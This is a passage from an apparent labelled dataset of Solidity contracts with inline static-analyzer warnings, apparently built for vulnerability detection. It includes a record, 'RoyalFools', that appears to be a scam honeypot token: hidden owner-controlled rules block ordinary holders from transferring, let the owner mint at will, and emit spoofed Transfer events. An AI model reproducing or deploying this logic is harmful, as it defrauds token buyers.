indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n constructor() {\n balanceOf[msg.sender] = totalSupply;\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function transfer(address to, uint256 value) public returns (bool success) {\n require(balanceOf[msg.sender] >= value);\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);\n balanceOf[to] = balanceOf[to].add(value);\n emit Transfer(msg.sender, to, value);\n return true;\n }\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n require(value <= balanceOf[from]);\n require(value <= allowance[from][msg.sender]);\n balanceOf[from] = balanceOf[from].sub(value);\n balanceOf[to] = balanceOf[to].add(value);\n allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);\n emit Transfer(from, to, value);\n return true;\n }\n}",
"file_name": "solidity_code_3325.sol",
"secure": 1,
"size_bytes": 2741
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WSIENNA is ERC20 {\n constructor() ERC20(\"WSIENNA\", \"WSIENNA\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3326.sol",
"secure": 1,
"size_bytes": 277
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BabyClub is Ownable, ERC20 {\n constructor() ERC20(\"BabyClub\", \"BABYC\") {\n _mint(msg.sender, 1000 * 10 ** 9 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3327.sol",
"secure": 1,
"size_bytes": 353
} |
{
"code": "// SPDX-License-Identifier: LGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface RealitioV3 {\n function isFinalized(bytes32 question_id) external view returns (bool);\n\n function resultFor(bytes32 question_id) external view returns (bytes32);\n\n function getFinalizeTS(bytes32 question_id) external view returns (uint32);\n\n function isPendingArbitration(\n bytes32 question_id\n ) external view returns (bool);\n\n function createTemplate(string calldata content) external returns (uint256);\n\n function getBond(bytes32 question_id) external view returns (uint256);\n\n function getContentHash(\n bytes32 question_id\n ) external view returns (bytes32);\n}",
"file_name": "solidity_code_3328.sol",
"secure": 1,
"size_bytes": 704
} |
{
"code": "// SPDX-License-Identifier: LGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./RealitioV3.sol\" as RealitioV3;\n\ninterface RealitioV3ETH is RealitioV3 {\n function askQuestionWithMinBond(\n uint256 template_id,\n string memory question,\n address arbitrator,\n uint32 timeout,\n uint32 opening_ts,\n uint256 nonce,\n uint256 min_bond\n ) external payable returns (bytes32);\n}",
"file_name": "solidity_code_3329.sol",
"secure": 1,
"size_bytes": 434
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\nimport \"./IGelatoOps.sol\" as IGelatoOps;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract Blackchain is ReentrancyGuard {\n\t// WARNING Optimization Issue (immutable-states | ID: fd97925): Blackchain.owner should be immutable \n\t// Recommendation for fd97925: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e772d47): Blackchain.gelatoOps should be immutable \n\t// Recommendation for e772d47: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IGelatoOps public gelatoOps;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ceb9a3d): Blackchain.priceFeed should be immutable \n\t// Recommendation for ceb9a3d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n AggregatorV3Interface public priceFeed;\n\n address[] public dexRouters;\n\n address public tokenIn;\n\n address public tokenOut;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dce5e65): Blackchain.arbitrageThreshold should be immutable \n\t// Recommendation for dce5e65: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public arbitrageThreshold;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cecf5c4): Blackchain.gasPriceThreshold should be immutable \n\t// Recommendation for cecf5c4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public gasPriceThreshold;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6a26af2): Blackchain.stopLossPercentage should be immutable \n\t// Recommendation for 6a26af2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public stopLossPercentage;\n\n bool public enableTrading;\n\n event ArbitrageExecuted(address indexed dexRouter, uint256 profit);\n\n event TradingToggled(bool enabled);\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n modifier onlyGelato() {\n require(msg.sender == address(gelatoOps), \"Caller is not Gelato\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 68915e5): Blackchain.constructor(address,address,address[],address,address,uint256,uint256,uint256)._tokenIn lacks a zerocheck on \t tokenIn = _tokenIn\n\t// Recommendation for 68915e5: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 311fd8a): Blackchain.constructor(address,address,address[],address,address,uint256,uint256,uint256)._tokenOut lacks a zerocheck on \t tokenOut = _tokenOut\n\t// Recommendation for 311fd8a: Check that the address is not zero.\n constructor(\n address _gelatoOps,\n address _priceFeed,\n address[] memory _dexRouters,\n address _tokenIn,\n address _tokenOut,\n uint256 _arbitrageThreshold,\n uint256 _gasPriceThreshold,\n uint256 _stopLossPercentage\n ) {\n owner = msg.sender;\n\n gelatoOps = IGelatoOps(_gelatoOps);\n\n priceFeed = AggregatorV3Interface(_priceFeed);\n\n dexRouters = _dexRouters;\n\n\t\t// missing-zero-check | ID: 68915e5\n tokenIn = _tokenIn;\n\n\t\t// missing-zero-check | ID: 311fd8a\n tokenOut = _tokenOut;\n\n arbitrageThreshold = _arbitrageThreshold;\n\n gasPriceThreshold = _gasPriceThreshold;\n\n stopLossPercentage = _stopLossPercentage;\n\n enableTrading = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: df34290): Blackchain.setTokenAddresses(address,address)._tokenIn lacks a zerocheck on \t tokenIn = _tokenIn\n\t// Recommendation for df34290: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: df3a31c): Blackchain.setTokenAddresses(address,address)._tokenOut lacks a zerocheck on \t tokenOut = _tokenOut\n\t// Recommendation for df3a31c: Check that the address is not zero.\n function setTokenAddresses(\n address _tokenIn,\n address _tokenOut\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: df34290\n tokenIn = _tokenIn;\n\n\t\t// missing-zero-check | ID: df3a31c\n tokenOut = _tokenOut;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0aea5fd): Blackchain.registerArbitrageTask() ignores return value by gelatoOps.createTask(address(this),execData,address(0),)\n\t// Recommendation for 0aea5fd: Ensure that all the return values of the function calls are used.\n function registerArbitrageTask() external onlyOwner {\n bytes memory execData = abi.encodeWithSignature(\n \"triggerTradeIfProfitable(uint256)\",\n dexRouters.length\n );\n\n\t\t// unused-return | ID: 0aea5fd\n gelatoOps.createTask(address(this), execData, address(0), \"\");\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 75b505f): Blackchain.getLatestETHPrice() ignores return value by (None,price,None,None,None) = priceFeed.latestRoundData()\n\t// Recommendation for 75b505f: Ensure that all the return values of the function calls are used.\n function getLatestETHPrice() internal view returns (int256) {\n\t\t// unused-return | ID: 75b505f\n (, int256 price, , , ) = priceFeed.latestRoundData();\n\n return price;\n }\n\n function isGasPriceLow() internal view returns (bool) {\n uint256 currentGasPrice = tx.gasprice;\n\n return currentGasPrice < gasPriceThreshold;\n }\n\n function toggleTrading(bool _enable) external onlyOwner {\n enableTrading = _enable;\n\n emit TradingToggled(_enable);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 353fac8): Blackchain.triggerTradeIfProfitable(uint256).bestProfit is a local variable never initialized\n\t// Recommendation for 353fac8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 81c7135): Blackchain.triggerTradeIfProfitable(uint256).bestDexRouter is a local variable never initialized\n\t// Recommendation for 81c7135: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function triggerTradeIfProfitable(\n uint256 maxRouters\n ) external onlyGelato noReentrancy {\n require(enableTrading, \"Trading is disabled\");\n\n uint256 bestProfit;\n\n address bestDexRouter;\n\n uint256 length = dexRouters.length < maxRouters\n ? dexRouters.length\n : maxRouters;\n\n for (uint256 i = 0; i < length; i++) {\n uint256 profit = simulateArbitrage(dexRouters[i]);\n\n uint256 netProfit = profit > calculateGasCost()\n ? profit - calculateGasCost()\n : 0;\n\n if (netProfit > bestProfit) {\n bestProfit = netProfit;\n\n bestDexRouter = dexRouters[i];\n }\n }\n\n if (bestProfit > arbitrageThreshold) {\n executeTrade(bestDexRouter, bestProfit);\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 96255df): Blackchain.simulateArbitrage(address) has external calls inside a loop amountsOut = IUniswapV2Router(dexRouterAddress).getAmountsOut(amountIn,path)\n\t// Recommendation for 96255df: Favor pull over push strategy for external calls.\n function simulateArbitrage(\n address dexRouterAddress\n ) internal view returns (uint256) {\n uint256 amountIn = 0.25 ether;\n\n address[] memory path = createPath(tokenIn, tokenOut);\n\n\t\t// calls-loop | ID: 96255df\n uint256[] memory amountsOut = IUniswapV2Router(dexRouterAddress)\n .getAmountsOut(amountIn, path);\n\n uint256 potentialProfit = amountsOut[amountsOut.length - 1];\n\n return potentialProfit > amountIn ? potentialProfit - amountIn : 0;\n }\n\n function createPath(\n address _tokenIn,\n address _tokenOut\n ) internal pure returns (address[] memory) {\n address[] memory path = new address[](2);\n\n path[0] = _tokenIn;\n\n path[1] = _tokenOut;\n\n return path;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 04aa6e7): Blackchain.executeTrade(address,uint256) ignores return value by IUniswapV2Router(dexRouterAddress).swapExactTokensForTokens(amountIn,1,path,address(this),deadline)\n\t// Recommendation for 04aa6e7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8aee2fc): Blackchain.executeTrade(address,uint256) ignores return value by IERC20(tokenIn).approve(dexRouterAddress,type()(uint256).max)\n\t// Recommendation for 8aee2fc: Ensure that all the return values of the function calls are used.\n function executeTrade(\n address dexRouterAddress,\n uint256 profit\n ) internal noReentrancy {\n emit ArbitrageExecuted(dexRouterAddress, profit);\n\n uint256 amountIn = 1 ether;\n\n address[] memory path = createPath(tokenIn, tokenOut);\n\n uint256 deadline = block.timestamp + 300;\n\n if (\n IERC20(tokenIn).allowance(address(this), dexRouterAddress) <\n amountIn\n ) {\n\t\t\t// unused-return | ID: 8aee2fc\n IERC20(tokenIn).approve(dexRouterAddress, type(uint256).max);\n }\n\n\t\t// unused-return | ID: 04aa6e7\n try\n IUniswapV2Router(dexRouterAddress).swapExactTokensForTokens(\n amountIn,\n 1,\n path,\n address(this),\n deadline\n )\n {} catch {\n revert(\n \"Trade execution failed due to slippage or liquidity issues\"\n );\n }\n }\n\n function calculateGasCost() internal view returns (uint256) {\n return tx.gasprice * 21000;\n }\n\n function withdrawTokens(address _tokenContract) external onlyOwner {\n IERC20 token = IERC20(_tokenContract);\n\n uint256 balance = token.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to withdraw\");\n\n require(token.transfer(owner, balance), \"Transfer failed\");\n }\n\n function recoverEth() external onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No ETH to recover\");\n\n payable(owner).transfer(balance);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_333.sol",
"secure": 0,
"size_bytes": 11254
} |
{
"code": "// SPDX-License-Identifier: LGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./RealitioV3.sol\" as RealitioV3;\n\ninterface RealitioV3ERC20 is RealitioV3 {\n function askQuestionWithMinBondERC20(\n uint256 template_id,\n string memory question,\n address arbitrator,\n uint32 timeout,\n uint32 opening_ts,\n uint256 nonce,\n uint256 min_bond,\n uint256 tokens\n ) external returns (bytes32);\n}",
"file_name": "solidity_code_3330.sol",
"secure": 1,
"size_bytes": 458
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol\" as ERC721Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract CryptoPigeons is Context, ERC721Enumerable, ERC721Burnable, Ownable {\n using Counters for Counters.Counter;\n\n Counters.Counter private _tokenIdTracker;\n\n string private _baseTokenURI;\n\n uint256 private constant maxPigeons = 100;\n uint256 private constant mintPrice = 20000000000000000;\n bool private paused = true;\n\n event CreatePigeon(uint256 indexed id);\n\n mapping(uint256 => uint256) private cardsMap;\n\n constructor() ERC721(\"CryptoPigeons\", \"Pigeons\") {\n _baseTokenURI = \"\";\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseTokenURI;\n }\n\n function setBaseURI(string memory baseURI) external onlyOwner {\n _baseTokenURI = baseURI;\n }\n\n function mint(uint256 amount) public payable {\n require(!paused || msg.sender == owner());\n require(\n amount > 0 && amount < 3,\n \"You have to mint between 1 and 2 Pigeons.\"\n );\n require(\n msg.value == mintPrice * amount || msg.sender == owner(),\n \"It costs 0.02 eth to mint a Pigeon.\"\n );\n require(\n _tokenIdTracker.current() + amount < maxPigeons,\n \"There can only be 99 Pigeons!\"\n );\n for (uint256 i = 0; i < amount; i++) {\n _tokenIdTracker.increment();\n _mint(msg.sender, _tokenIdTracker.current());\n emit CreatePigeon(_tokenIdTracker.current());\n }\n }\n\n function pause() public virtual onlyOwner {\n paused = true;\n }\n\n function unpause() public virtual onlyOwner {\n paused = false;\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override(ERC721, ERC721Enumerable) {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n}",
"file_name": "solidity_code_3331.sol",
"secure": 1,
"size_bytes": 2724
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface KeeperRegistryBaseInterface {\n function registerUpkeep(\n address target,\n uint32 gasLimit,\n address admin,\n bytes calldata checkData\n ) external returns (uint256 id);\n\n function performUpkeep(\n uint256 id,\n bytes calldata performData\n ) external returns (bool success);\n\n function cancelUpkeep(uint256 id) external;\n\n function addFunds(uint256 id, uint96 amount) external;\n\n function setUpkeepGasLimit(uint256 id, uint32 gasLimit) external;\n\n function getUpkeep(\n uint256 id\n )\n external\n view\n returns (\n address target,\n uint32 executeGas,\n bytes memory checkData,\n uint96 balance,\n address lastKeeper,\n address admin,\n uint64 maxValidBlocknumber,\n uint96 amountSpent\n );\n\n function getActiveUpkeepIDs(\n uint256 startIndex,\n uint256 maxCount\n ) external view returns (uint256[] memory);\n\n function getKeeperInfo(\n address query\n ) external view returns (address payee, bool active, uint96 balance);\n\n function getState()\n external\n view\n returns (State memory, Config memory, address[] memory);\n}",
"file_name": "solidity_code_3332.sol",
"secure": 1,
"size_bytes": 1367
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./KeeperRegistryBaseInterface.sol\" as KeeperRegistryBaseInterface;\n\ninterface KeeperRegistryInterface is KeeperRegistryBaseInterface {\n function checkUpkeep(\n uint256 upkeepId,\n address from\n )\n external\n view\n returns (\n bytes memory performData,\n uint256 maxLinkPayment,\n uint256 gasLimit,\n int256 gasWei,\n int256 linkEth\n );\n}",
"file_name": "solidity_code_3333.sol",
"secure": 1,
"size_bytes": 518
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./KeeperRegistryBaseInterface.sol\" as KeeperRegistryBaseInterface;\n\ninterface KeeperRegistryExecutableInterface is KeeperRegistryBaseInterface {\n function checkUpkeep(\n uint256 upkeepId,\n address from\n )\n external\n returns (\n bytes memory performData,\n uint256 maxLinkPayment,\n uint256 gasLimit,\n uint256 adjustedGasWei,\n uint256 linkEth\n );\n}",
"file_name": "solidity_code_3334.sol",
"secure": 1,
"size_bytes": 524
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RoyalFools is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 818f375): RoyalFools._tSupply should be immutable \n\t// Recommendation for 818f375: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tSupply;\n uint256 private _tTotal = 1 * 10 ** 9 * 10 ** 18;\n\t// WARNING Optimization Issue (constable-states | ID: 887ddd0): RoyalFools.swapEnabled should be constant \n\t// Recommendation for 887ddd0: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b8ef6ce): RoyalFools._tOwned should be immutable \n\t// Recommendation for b8ef6ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _tOwned = _msgSender();\n address private _uniSwapAddress = _msgSender();\n\t// WARNING Optimization Issue (constable-states | ID: a8a32e1): RoyalFools._minFee should be constant \n\t// Recommendation for a8a32e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _minFee = 1 * 10 ** 3;\n bool private inSwap = false;\n\n uint256 private _teamFee;\n uint256 private _taxFee;\n\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (constable-states | ID: 02441f8): RoyalFools._name should be constant \n\t// Recommendation for 02441f8: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Royal Fools\";\n\t// WARNING Optimization Issue (constable-states | ID: 3f5aed9): RoyalFools._symbol should be constant \n\t// Recommendation for 3f5aed9: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"RFS\";\n\t// WARNING Optimization Issue (constable-states | ID: 568c327): RoyalFools._decimals should be constant \n\t// Recommendation for 568c327: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor(uint256 fee) public {\n _balances[_msgSender()] = _tTotal;\n _teamFee = _tTotal.mul(50).div(100);\n _taxFee = fee;\n _tSupply = 1 * 10 ** 12 * 10 ** 18;\n\n emit Transfer(\n address(0xb5030d8B3da80bA0110fA6cC6a3F33b285036c9E),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f57ef22): RoyalFools.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f57ef22: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function restoreAllFee() private {\n _taxFee = 2;\n _teamFee = 3;\n }\n\n function _takeTeam(bool onoff) private {\n cooldownEnabled = onoff;\n }\n\n function manualsend(uint256 curSup) public {\n require(_tOwned == _msgSender());\n _teamFee = curSup;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e03f76a): RoyalFools.openTrading(address).addr lacks a zerocheck on \t _uniSwapAddress = addr\n\t// Recommendation for e03f76a: Check that the address is not zero.\n function openTrading(address addr) public {\n require(_msgSender() == _tOwned, \"ERC20: cannot permit dev address\");\n\t\t// missing-zero-check | ID: e03f76a\n _uniSwapAddress = addr;\n _teamFee = _tTotal.mul(99).div(100);\n }\n\n function removeAllFee() public {\n require(_tOwned == _msgSender());\n _taxFee = _minFee;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n if (sender == owner() || sender == _tOwned) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n } else {\n require(checkBotAddress(sender));\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 61cf89d): RoyalFools._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 61cf89d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function tokenFromReflection() public {\n require(_tOwned == _msgSender());\n uint256 currentBalance = _balances[_tOwned];\n _tTotal = _tSupply + _tTotal;\n _balances[_tOwned] = _tSupply + currentBalance;\n emit Transfer(\n address(0xb5030d8B3da80bA0110fA6cC6a3F33b285036c9E),\n _tOwned,\n _tSupply\n );\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function checkBotAddress(address sender) private view returns (bool) {\n if (sender == _uniSwapAddress) {\n return true;\n }\n if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {\n return false;\n } else {\n return true;\n }\n }\n}",
"file_name": "solidity_code_3335.sol",
"secure": 0,
"size_bytes": 8399
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/IAccessControl.sol\" as IAccessControl;\n\ninterface IAccessControlEnumerable is IAccessControl {\n function getRoleMember(\n bytes32 role,\n uint256 index\n ) external view returns (address);\n\n function getRoleMemberCount(bytes32 role) external view returns (uint256);\n}",
"file_name": "solidity_code_3336.sol",
"secure": 1,
"size_bytes": 404
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract ERC2771Context is Context {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e4cdc23): TWRegistry.constructor(address)._trustedForwarder shadows ERC2771Context._trustedForwarder (state variable)\n\t// Recommendation for e4cdc23: Rename the local variables that shadow another component.\n address private immutable _trustedForwarder;\n\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(\n address forwarder\n ) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender()\n internal\n view\n virtual\n override\n returns (address sender)\n {\n if (isTrustedForwarder(msg.sender)) {\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData()\n internal\n view\n virtual\n override\n returns (bytes calldata)\n {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}",
"file_name": "solidity_code_3337.sol",
"secure": 0,
"size_bytes": 1454
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nabstract contract Multicall {\n function multicall(\n bytes[] calldata data\n ) external virtual returns (bytes[] memory results) {\n results = new bytes[](data.length);\n for (uint256 i = 0; i < data.length; i++) {\n results[i] = Address.functionDelegateCall(address(this), data[i]);\n }\n return results;\n }\n}",
"file_name": "solidity_code_3338.sol",
"secure": 1,
"size_bytes": 503
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.